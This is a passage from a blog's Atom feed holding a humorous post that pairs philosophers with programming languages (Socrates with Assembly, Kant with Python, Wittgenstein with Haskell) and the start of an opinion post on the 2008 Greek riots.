italic;"&gt;".&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;To the fun part, one might ask: "&lt;span style="font-weight: bold;"&gt;What if philosophers were programmers? What programming la&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;nguage they would use&lt;/span&gt;?". Well, here are my answers!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Socrates"&gt;Socrates&lt;/a&gt; : The Hardcore Assembly Programmer&lt;/span&gt;&lt;br /&gt;Socrates was one of the founders of philosophy but this is not where the connection ends. Socrate&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaM6aVVjbI/AAAAAAAAAQ8/EgMu8FxWlSk/s1600-h/socrates.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 131px; height: 194px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaM6aVVjbI/AAAAAAAAAQ8/EgMu8FxWlSk/s320/socrates.gif" alt="" id="BLOGGER_PHOTO_ID_5325098544541306290" border="0" /&gt;&lt;/a&gt;s had devised a clever methodology to win every debate. He kept asking questions until a contradiction was reached. So, when someone would claim "&lt;span style="font-style: italic;"&gt;morality is important&lt;/span&gt;", Socrates would ask "&lt;span style="font-style: italic;"&gt;How do you define morality?&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In a similar manner, everything in &lt;span style="font-weight: bold;"&gt;Assembly &lt;/span&gt;begs for a question. There is nothing pre-assumed (at least in pure Assembly, not the distros filled with pre-processed libraries and other junk) and everything has to be as succinct as possible to have a meaning. If you were to work with the programmer Socrates and shared something like "&lt;span style="font-style: italic;"&gt;var x = null;&lt;/span&gt;", your partner would start by asking "&lt;span style="font-style: italic;"&gt;What is var?" &lt;/span&gt;!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Aristotle"&gt;Aristotle&lt;/a&gt; : The Influential C Pr&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;ogrammer&lt;/span&gt;&lt;br /&gt;Aristotle had a huge impact on Western philosophy, founding many scientific areas, fro&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SeaLU_uImZI/AAAAAAAAAQc/pOXHP7NImaA/s1600-h/aristotle.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 122px; height: 166px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SeaLU_uImZI/AAAAAAAAAQc/pOXHP7NImaA/s320/aristotle.gif" alt="" id="BLOGGER_PHOTO_ID_5325096802230770066" border="0" /&gt;&lt;/a&gt;m physics to biology. He was the first to closely examine real entities as the &lt;span style="font-style: italic;"&gt;real essence of everythin&lt;/span&gt;&lt;span style="font-style: italic;"&gt;g&lt;/span&gt;, in contrast to Plato's abstractions. His philosophy is driven by the &lt;span style="font-style: italic;"&gt;golden mean&lt;/span&gt; as the key to reaching &lt;span style="font-style: italic;"&gt;morality&lt;/span&gt; or understanding life (&lt;span style="font-style: italic;"&gt;m&lt;/span&gt;&lt;span style="font-style: italic;"&gt;atter &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;form). &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The C programming language was equally influential to the design of all other "&lt;span style="font-style: italic;"&gt;programming philosophies&lt;/span&gt;", most obviously in the syntactical level. In addition, by the time of its writing in the early 70's, C was supposed to be the &lt;span style="font-style: italic;"&gt;golden mean&lt;/span&gt; between the so-called &lt;span style="font-style: italic;"&gt;high-l&lt;/span&gt;&lt;span style="font-style: italic;"&gt;evel &lt;/span&gt;languages and the &lt;span style="font-style: italic;"&gt;Assembly &lt;/span&gt;language, &lt;a href="http://blogs.sun.com/weixue/entry/c_language_knowledge_1_history"&gt;combining the capability to write machine-independent code&lt;/a&gt; combined with the power of low-level access.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Plato"&gt;Plato&lt;/a&gt; : The Idealistic C++ Evangelist&lt;/span&gt;&lt;br /&gt;Plato is a&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaLqyY7SHI/AAAAAAAAAQk/rtE4uRS3wkE/s1600-h/Plato_1_lg.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 146px; height: 181px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaLqyY7SHI/AAAAAAAAAQk/rtE4uRS3wkE/s320/Plato_1_lg.gif" alt="" id="BLOGGER_PHOTO_ID_5325097176609278066" border="0" /&gt;&lt;/a&gt; huge figure in philosophy, student of Socrates and teacher of Aristotle. That said, I owe you an explanation about the obvious anomaly: How come that C++ is coming after C? Let me explain. Plato is famous f&lt;a href="http://plato.stanford.edu/entries/plato-ethics-politics/"&gt;or his &lt;span style="font-style: italic;"&gt;Form&lt;/span&gt;&lt;span style="font-style: italic;"&gt;s &lt;/span&gt;or &lt;span style="font-style: italic;"&gt;Ideas&lt;/span&gt;&lt;/a&gt;, that refer to the archetypical &lt;span style="font-style: italic;"&gt;versions&lt;/span&gt; of the things around us. So, the cup in your desk has is a &lt;span style="font-style: italic;"&gt;shadow &lt;/span&gt;of a similar oval-shaped archetype in the world of Ideas. In programming words, it is an &lt;span style="font-style: italic;"&gt;instanc&lt;/span&gt;&lt;span style="font-style: italic;"&gt;e &lt;/span&gt;of the Cup &lt;span style="font-style: italic;"&gt;class&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Similarly, C++ , as an extension of C, is the first language that tries to capture this idea of forms by giving the developers the capability to &lt;span style="font-style: italic;"&gt;abstract &lt;/span&gt;the problem before doing anything else. This is a major step by itself, since even if no actual code solving the problem is provided, the classification and the problem modelling are evident and valuable to others. You might wonder, why Plato would not program in &lt;span style="font-style: italic;"&gt;Java&lt;/span&gt;. Well he could, but there is another parameter to the story: Plato is not so confident how &lt;span style="font-style: italic;"&gt;symbols &lt;/span&gt;can represent his Forms, and clearly prefers the &lt;span style="font-style: italic;"&gt;spoken dialogue&lt;/span&gt; (as mentioned in &lt;a href="http://oll.libertyfund.org/?option=com_staticxt&amp;amp;staticfile=show.php%3Ftitle=111&amp;amp;chapter=39482&amp;amp;layout=html&amp;amp;Itemid=27"&gt;&lt;span style="font-style: italic;"&gt;Phaedrus&lt;/span&gt;&lt;/a&gt;). In a similar manner, C++, not entirely confident in its direction, remains a superset of C, being &lt;span style="font-weight: bold;"&gt;fully &lt;/span&gt;backwards-compatible with the more &lt;span style="font-style: italic;"&gt;non-ideal &lt;/span&gt;syntax of C.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Stoics"&gt;&lt;br /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Stoics"&gt;Stoics&lt;/a&gt; : The Happy Perl Community&lt;br /&gt;&lt;/span&gt;Stoics and their philosophy (Stoicism) had silently, a far-reaching impact not only to Western philosophy but to t&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaMJM4qdmI/AAAAAAAAAQs/h1-70jW96ys/s1600-h/43.stoa_small.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 196px; height: 153px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SeaMJM4qdmI/AAAAAAAAAQs/h1-70jW96ys/s320/43.stoa_small.jpg" alt="" id="BLOGGER_PHOTO_ID_5325097699117790818" border="0" /&gt;&lt;/a&gt;he philosophy and the global culture as a whole. Interestingly enough, there is no single man behind it, but it was actually a &lt;span style="font-style: italic;"&gt;collaborative &lt;/span&gt;intellectual achievement. &lt;a href="http://www.iep.utm.edu/s/stoicism.htm"&gt;Stoicism denies anything &lt;/a&gt;&lt;span style="font-style: italic;"&gt;&lt;a href="http://www.iep.utm.edu/s/stoicism.htm"&gt;immaterial&lt;/a&gt; &lt;/span&gt;and tries to explain the world through &lt;span style="font-style: italic;"&gt;propositional logic&lt;/span&gt;. So, Stoics reject everything &lt;span style="font-style: italic;"&gt;Ideal&lt;/span&gt; and concenrate in morality, in which they call us to get free from &lt;span style="font-style: italic;"&gt;anything we can't control&lt;/span&gt;, but rather appreciate the &lt;span style="font-style: italic;"&gt;freedom &lt;/span&gt;to self-introspect and reach true wisdom. Stoicism rejects political systems and other formalities, and promotes Socrates' &lt;span style="font-style: italic;"&gt;citizen&lt;/span&gt; &lt;span style="font-style: italic;"&gt;of the world&lt;/span&gt; for everyone. People are meant to be brothers, away from distinctions, aiming to contribute happily to a society of friendship and love (&lt;span style="font-style: italic;"&gt;jus commune gentium&lt;/span&gt;). You should already notice the influences to most widespread religions, like Christianism and Buddism.&lt;br /&gt;&lt;br /&gt;Most interestingly, Perl was created in the 80's, a decade in which finally &lt;span style="font-style: italic;"&gt;logic/functional programming &lt;/span&gt;had found its place in the programming languages world. However, the P&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaMo749muI/AAAAAAAAAQ0/8usSC8g-OQc/s1600-h/planetperl.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 120px; height: 167px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaMo749muI/AAAAAAAAAQ0/8usSC8g-OQc/s320/planetperl.png" alt="" id="BLOGGER_PHOTO_ID_5325098244311456482" border="0" /&gt;&lt;/a&gt;erl community (and language) shares much more striking similarites with the Stoics and their philosophy. Perl as a language is to the best possible extent, free of form. Actually the most common phrase in the Perl world is "&lt;a href="http://en.wikipedia.org/wiki/There_is_more_than_one_way_to_do_it"&gt;&lt;span style="font-style: italic;"&gt;there is more than one way to do it&lt;/span&gt;&lt;/a&gt;" or TIMTOADY for short. The philosophy behind Perl rejects syntactical constraints, giving the freedom to its programmers to code in their style, but at the same time encouraging sharing and contribution to the community. Perl's power lies to a great extent to the existence of &lt;a href="http://www.cpan.org/"&gt;CPAN&lt;/a&gt;, the archive of modules and software happily shared by Perl programmers all around the globe. The language's influence to the programming world has been silent, but much more far-reaching than what is immediately observable. One could mention its strong influence to scripting, dynamic typing and functional programming, but it could be summarized to a joke which is familiar to Perl fans:  &lt;span style="font-style: italic;"&gt;The next market's crash will be triggered by a bug in someone's Perl s&lt;/span&gt;&lt;span style="font-style: italic;"&gt;cript&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Descartes"&gt;Rene Descartes&lt;/a&gt; : The True Java Guru&lt;/span&gt;&lt;br /&gt;Descartes was the first philosopher of the Western culture to stand up against the Classical Ancient Gr&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaNR1xSIsI/AAAAAAAAARE/kDvYEkJqHvE/s1600-h/Descartes.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 135px; height: 143px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaNR1xSIsI/AAAAAAAAARE/kDvYEkJqHvE/s320/Descartes.jpg" alt="" id="BLOGGER_PHOTO_ID_5325098947043271362" border="0" /&gt;&lt;/a&gt;eek philosophy. His core philosophy as mentioned in his famous &lt;span style="font-style: italic;"&gt;Article 7 &lt;/span&gt;of the &lt;a href="http://www.gutenberg.org/etext/4391"&gt;&lt;span style="font-style: italic;"&gt;"Les principles de la philosophie&lt;/span&gt;"&lt;/a&gt; is based on the concept of &lt;span style="font-style: italic;"&gt;cogito (=intellectual ego&lt;/span&gt;). Descartes believes that &lt;span style="font-style: italic;"&gt;doubt &lt;/span&gt;is a proof of &lt;span style="font-style: italic;"&gt;existence&lt;/span&gt;, and &lt;span style="font-style: italic;"&gt;cogito &lt;/span&gt;is the cause of doubt, arriving to the famous &lt;span style="font-style: italic;"&gt;"cogito ergo sum&lt;/span&gt;" (=&lt;span style="font-style: italic;"&gt;I think therefore I exist&lt;/span&gt;). The &lt;span style="font-style: italic;"&gt;cogito&lt;/span&gt; is not just another process we do, but actually &lt;span style="font-style: italic;"&gt;all &lt;/span&gt;we do. So, what we want, imagine or feel is directly accessible through it. Descartes nearly '&lt;span style="font-style: italic;"&gt;proves&lt;/span&gt;' the existence of God, by the fact that we are able to &lt;span style="font-style: italic;"&gt;think &lt;/span&gt;about the &lt;span style="font-style: italic;"&gt;necessity of his existence&lt;/span&gt;. In fact any &lt;span style="font-style: italic;"&gt;Ideal &lt;/span&gt;or &lt;span style="font-style: italic;"&gt;Form &lt;/span&gt;can be directly accessible by our &lt;span style="font-style: italic;"&gt;cogito&lt;/span&gt;. Descartes also marks another landmark in the history of philosophy: Beginning from his work, philosophy is trying to avoid confusing abstractions and to establish a succinct, almost geometrical form. Descar&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaPF8a6RII/AAAAAAAAARs/mwG3puBjWXg/s1600-h/java_logo.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 112px; height: 179px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaPF8a6RII/AAAAAAAAARs/mwG3puBjWXg/s320/java_logo.gif" alt="" id="BLOGGER_PHOTO_ID_5325100941693305986" border="0" /&gt;&lt;/a&gt;tes presents his ideas nearly in the form of theorems. &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Descartes would be the perfect Java guru. Java was the first &lt;span style="font-style: italic;"&gt;strongly-typed &lt;/span&gt;language, in which everything must have a &lt;span style="font-style: italic;"&gt;type (&lt;/span&gt;or share a &lt;span style="font-style: italic;"&gt;Form&lt;/span&gt;) before it is being used, matching perfectly the Descartes' efforts to be always exact for what he is talking about. Descarte's &lt;span style="font-style: italic;"&gt;cogito&lt;/span&gt; is in fact a revisit of &lt;span style="font-style: italic;"&gt;Plato's Forms&lt;/span&gt;, with a slight variation in which ideals exist because we think about them and not in another universe. To that respect, his philosophy is purely &lt;span style="font-style: italic;"&gt;object-oriented&lt;/span&gt;, as the solutions in which we arrive, are direct products of our intellects.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Immanuel_Kant"&gt;Immanuel Kant&lt;/a&gt;: The First Python Programmer&lt;br /&gt;&lt;/span&gt;Kant found th&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaNmDlZsEI/AAAAAAAAARM/M3VUx4IHeDo/s1600-h/kant.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 121px; height: 161px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaNmDlZsEI/AAAAAAAAARM/M3VUx4IHeDo/s320/kant.jpg" alt="" id="BLOGGER_PHOTO_ID_5325099294348914754" border="0" /&gt;&lt;/a&gt;e 'easy' way to the pantheon of philosophy by rejecting two prevailing and opposing methodologies, Descarte's &lt;span style="font-style: italic;"&gt;cogito&lt;/span&gt; and the empiricism&lt;span style="font-weight: bold;"&gt;, &lt;/span&gt;by shouting '&lt;span style="font-style: italic;"&gt;It's both!&lt;/span&gt;'. Kant investigated how humans reason, claiming that experience offers the truth, but which has already been filtered by intellectual judgement (&lt;span style="font-style: italic;"&gt;a priori)&lt;/span&gt;. At his mature years, he examined &lt;span style="font-style: italic;"&gt;aesthetics&lt;/span&gt;, and the theory trying to explaining the way we perceive &lt;span style="font-style: italic;"&gt;beauty&lt;/span&gt;. Kant was an extremely concise personality, being obsessed with tideness and exactness, doing the same things, exactly at the same time every day, to the extent that his acquaintances were 'using' him to calculate time!&lt;br /&gt;&lt;br /&gt;Similarly, &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; is a programming language that tries to combin&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaOqHzJyVI/AAAAAAAAARk/iptXhojL0kM/s1600-h/python-logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 134px; height: 133px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SeaOqHzJyVI/AAAAAAAAARk/iptXhojL0kM/s320/python-logo.png" alt="" id="BLOGGER_PHOTO_ID_5325100463711439186" border="0" /&gt;&lt;/a&gt;e different solutions and promote it as a new one. As a language it accepts multiple programming paradigms, from object-oriented to contract-based programming. Python programmers reject the free formats of languages such as Perl, and although they borrow several features from it, they emphasize on &lt;span style="font-style: italic;"&gt;simple &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;explicit &lt;/span&gt;code. Python becomes so 'obsessive' that imposes &lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;span style="font-style: italic;"&gt;hitespace identation &lt;/span&gt;as delimiters for code blocks to its users. In the "Zen of Python", the first out of the 19 &lt;span style="font-style: italic;"&gt;commandments, &lt;/span&gt;the first one is "&lt;span style="font-style: italic;"&gt;&lt;span style="font-family:monospace;"&gt;Beatiful is better than ugly&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:monospace;"&gt;".&lt;/span&gt; Kant's obsession to beauty and aesthetics, makes him &lt;span style="font-weight: bold;"&gt;triumphantly&lt;/span&gt; the first Python programmer ever.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Ludwig_Wittgenstein"&gt;Ludwig Wittgenstein&lt;/a&gt;: Natural Born Haskell Programmer&lt;br /&gt;&lt;/span&gt;Wittgenstein re&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaOAC40tBI/AAAAAAAAARU/yBGNxaRAWMc/s1600-h/Witt.jpeg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 112px; height: 151px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaOAC40tBI/AAAAAAAAARU/yBGNxaRAWMc/s320/Witt.jpeg" alt="" id="BLOGGER_PHOTO_ID_5325099740838540306" border="0" /&gt;&lt;/a&gt;formed Western philosophy going as deep as to examine Socrates' 'recipe' for debate success. His monumental work, the &lt;a href="http://books.google.com/books?id=ZAqzCgHrAJIC&amp;amp;dq=tractatus&amp;amp;printsec=frontcover&amp;amp;source=bl&amp;amp;ots=zdqRlu-Sib&amp;amp;sig=uaQC0TmUu5TAoK6q3qxSwhO3_Ik&amp;amp;hl=en&amp;amp;ei=7ZnmSZCsL5uQsAaRxs2iBw&amp;amp;sa=X&amp;amp;oi=book_result&amp;amp;ct=result&amp;amp;resnum=4"&gt;&lt;span style="font-style: italic;"&gt;Tractatus Logico-Philosophicus&lt;/span&gt;&lt;/a&gt;, can be compared to a hard graduate mathematical book in Logic. Wittgenstein identifies the semantic and symbolic forms as the root of &lt;span style="font-style: italic;"&gt;all philosophical problems&lt;/span&gt;, leaving the rest that can be explicitly defined as the subject of science. Using pure logic, he deducts that language inherent ambiguity is what makes philosophy repeat itself, and closing his book with the famous '&lt;span style="font-style: italic;"&gt;What we cannot speak of, we must pass over in silence&lt;/span&gt;', claims to have solved,..., all philosophical problems.&lt;br /&gt;&lt;br /&gt;Wittgenstein is a natural born Haskell programmer. Haskell was not the first function&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SeaORicl3sI/AAAAAAAAARc/uPis6LvwawU/s1600-h/Haskell_Logo.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 138px; height: 131px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SeaORicl3sI/AAAAAAAAARc/uPis6LvwawU/s320/Haskell_Logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5325100041367838402" border="0" /&gt;&lt;/a&gt;al programming language in town, but from late 80's and onwards, it has prevailed as the most important among the group. Haskell is not meant to be accesible by anyone, and just like the &lt;a href="http://en.wikipedia.org/wiki/Tractatus_Logico-Philosophicus"&gt;&lt;span style="font-style: italic;"&gt;austere &lt;/span&gt;and  &lt;span style="font-style: italic;"&gt;succinct Tractatus&lt;/span&gt;&lt;/a&gt;, as Wikipedia states, it has a strict mathematical and logical form. Haskell, being purely functional, goes as deep as redefining the way we treat abstract data types, the same way Wittgenstein goes back to Socrates' dialectic to reform modern philosophy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;These all may sound weird, but for programmers, it is easy to realize these deeper connections. I am not quite sure if the same holds for philosophers. Anyway, at least by now, it should make much more sense why in every article in Wikipedia, presenting a programming language, there is special section named "&lt;span style="font-style: italic; font-weight: bold;"&gt;Language philosophy&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4089131381617215418?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4089131381617215418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4089131381617215418'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2009/04/if-philosophers-were-programmers.html' title='If Philosophers Were Programmers'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaKo6g1BrI/AAAAAAAAAQM/if0mDjFU_hU/s72-c/school_athens.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7464662427010590891</id><published>2008-12-09T22:59:00.000-08:00</published><updated>2008-12-15T17:38:16.701-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Riots In Greece Reveal A Nation Divided In Half</title><content type='html'>I think there is nobody that has not yet heard of the huge and violent riots in Greece. It's been repeatedly over the news for 4 days on starting from Saturday &lt;span style="font-weight: bold;"&gt;6/12/2008&lt;/span&gt; when 15-year-old &lt;a href="http://www.facebook.com/pages/Alexandros-Grigoropoulos/38422388947"&gt;&lt;span style="font-weight: bold;"&gt;Alexandros Grigoropoulos&lt;/span&gt;&lt;/a&gt; was shot dead by police fire. I will try to make some statements about the madness we are currently living here, in the most &lt;span style="font-weight: bold;"&gt;sincere&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;truthful&lt;/span&gt; way possible.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/ST99FGyA4kI/AAAAAAAAAP8/ed2dtgPxOpo/s1600-h/athens-riot1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 252px; height: 174px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/ST99FGyA4kI/AAAAAAAAAP8/ed2dtgPxOpo/s320/athens-riot1.jpg" alt="" id="BLOGGER_PHOTO_ID_5278074814974714434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The boy was not killed by police, but by a special guard. &lt;/span&gt;&lt;br /&gt;'Special guards' is a force that does not belong to police force. They come mostly from military forces, they were formed in 1999 to patrol targets such as embassies, but remained &lt;span style="font-weight: bold;"&gt;un-armed &lt;/span&gt;until &lt;span style="font-weight: bold;"&gt;2004&lt;/span&gt;, when &lt;span style="font-weight: bold;"&gt;Vyron Polydoras &lt;/span&gt;unleashed them on the urban areas, fully armed. Actually, the government was planning to integrate it into the police force by &lt;span style="font-weight: bold;"&gt;1/1/2009&lt;/span&gt; (&lt;a href="http://www.ekathimerini.com/4dcgi/_w_articles_politics_0_09/12/2008_102874"&gt;however this seems highly unlikely now&lt;/a&gt;). As such special guards were not as trained as normal police officers and their existence seemed to serve only political purposes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;It was not an accident. It was a murder.&lt;br /&gt;&lt;/span&gt;The klling was totally paranoic and absurd. &lt;span style="font-weight: bold;"&gt;Alexandros &lt;/span&gt;was not &lt;a href="http://en.wikipedia.org/wiki/Carlo_Giuliani"&gt;&lt;span style="font-weight: bold;"&gt;Carlo Giuliani&lt;/span&gt;&lt;/a&gt;. He was not killed during a riot or a protest. It was a quiet evening and the boy was out at Saturday night with his friends. A verbal dispute was enough for a &lt;span style="font-weight: bold;"&gt;military &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;gorilla&lt;/span&gt; to pull the trigger. Actually the two special guards, returned back even when the dispute was over to bully the kids. This is paranoia.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Greece has no government.&lt;br /&gt;&lt;/span&gt;Kostas Karamanlis became a Prime Minister, promising justice and transparency. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/ST97W6aGOLI/AAAAAAAAAP0/0PqH_U9BeAg/s1600-h/pavlopoulos.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 152px; height: 179px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/ST97W6aGOLI/AAAAAAAAAP0/0PqH_U9BeAg/s320/pavlopoulos.jpg" alt="" id="BLOGGER_PHOTO_ID_5278072921867565234" border="0" /&gt;&lt;/a&gt;However, he is trapped in his incompetence and in a party crowded by incompetence. Minister Of Interior, &lt;span style="font-weight: bold;"&gt;Prokopis Pavlopoulos&lt;/span&gt; (&lt;span style="font-style: italic;"&gt;photo)&lt;/span&gt;, is at the same time Minister of Press, after &lt;a href="http://developeronline.blogspot.com/2008/09/greece-enters-dark-ages.html"&gt;the most-provoking scandal of Vatopedi caused the resignation of Roussopoulos&lt;/a&gt;. Mr Pavlopoulos resigned after the murder but his resignation was not accepted.. Then, Karamanlis, totally out of touch, instead of forming &lt;span style="font-weight: bold;"&gt;a tractable plan&lt;/span&gt; to deal with the crisis, demanded from all other parties to clearly condemn the riots, implicitly meaning that these riots are politically supported. No comments. This absurdity has lasted long enough.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Greek youth is not rioting. It is dissapointed.&lt;/span&gt;&lt;br /&gt;Some political parties &lt;span style="font-weight: bold;"&gt;on the left wing&lt;/span&gt; is attempting to exploit youth as an emering political group that is trying to express itself, a most unwise move that will fall into the void. The riots are not caused by Greek youth. They are wrong. &lt;span style="font-weight: bold;"&gt;Dissapointed&lt;/span&gt;? Yes. &lt;span style="font-weight: bold;"&gt;Melangholic&lt;/span&gt;? Yes. &lt;span style="font-weight: bold;"&gt;Pessimistic&lt;/span&gt;? Sure. &lt;span style="font-weight: bold;"&gt;Angry&lt;/span&gt;? Of course. But they are not trouble makers. They are not destroying properties or pillaging shops. Politicians should try to reach out for these young people with &lt;span style="font-weight: bold;"&gt;great caution&lt;/span&gt; and already some have made the big mistake.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Recent riots are much less than a revolution, but much more than hooliganism.&lt;/span&gt;&lt;br /&gt;Politicians, analysts and journalists are referring to current unfolding riots as a social phenomenon that we will have to understand. When this stupidity will fade out, we will all realize that there is no political meaning behind setting a city building to fire. It is yet&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/ST99nht8iBI/AAAAAAAAAQE/aTbG9LrJnA0/s1600-h/athens-riots-3.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 247px; height: 165px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/ST99nht8iBI/AAAAAAAAAQE/aTbG9LrJnA0/s320/athens-riots-3.jpg" alt="" id="BLOGGER_PHOTO_ID_5278075406320961554" border="0" /&gt;&lt;/a&gt; another illegal activity by criminals, extremists and immigrants. After all, these people are not any better than the guards who shot the boy. A sane demoratic society cannot justify any outlaw activity. Period.&lt;br /&gt;However, this one is different. Recent riots show an &lt;span style="font-weight: bold;"&gt;unprecented violence&lt;/span&gt;, partially due to poverty and deep social problems and partially due to recent &lt;span style="font-weight: bold;"&gt;huge corruption scandals&lt;/span&gt;, like the case of Vatopedi.&lt;br /&gt;&lt;br /&gt;Greece is now directly faced to its &lt;span style="font-weight: 